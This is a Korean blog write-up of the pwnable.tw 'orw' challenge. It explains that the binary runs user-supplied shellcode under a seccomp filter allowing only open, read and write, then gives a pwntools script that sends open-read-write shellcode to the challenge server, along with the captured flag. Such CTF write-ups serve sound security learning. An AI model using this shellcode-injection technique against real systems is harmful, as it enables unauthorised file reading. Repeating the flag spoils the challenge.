- [pwnable.tw] orw [100 pts]2025년 03월 11일
- Tjdmin1
- 작성자
- 2025.03.11.:40
https://pwnable.tw/challenge/#2
Pwnable.tw
Pwnable.tw is a wargame site for hackers to test and expand their exploiting skills.
pwnable.tw
Analyze
main 함수
여기서 orw_seccomp을 호출한 뒤 shellcode라는 변수에 read를 한 뒤 shellcode를 호출 시켜줍니다.
seccomp-tools로 확인해보면 아래와 같습니다.
seccomp rule rt_sigreturn과 sigreturn, exit_group, exit, open, read, write만 호출이 가능합니다.
Attack Vector
open, read, write면 flag를 읽고 출력이 가능하게 됩니다.
이걸 이용하여 shellcode를 짜서 flag를 출력하면 됩니다.
Exploit
from pwn import * context.arch = 'i386' r = remote('chall.pwnable.tw', 10001) shellcode = shellcraft.pushstr('/home/orw/flag') shellcode += shellcraft.open('esp', 0, 0) shellcode += shellcraft.read('eax', 'esp', 38) shellcode += shellcraft.write(1, 'esp', 38) shellcode = asm(shellcode) r.sendafter(b'Give my your shellcode:', shellcode) print(r.recv().decode())
FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}
다음글이전글이전 글이 없습니다.댓글
스킨 업데이트 안내
현재 이용하고 계신 스킨의 버전보다 더 높은 최신 버전이 감지 되었습니다. 최신버전 스킨 파일을 다운로드 받을 수 있는 페이지로 이동하시겠습니까?
("아니오" 를 선택할 시 30일 동안 최신 버전이 감지되어도 모달 창이 표시되지 않습니다.)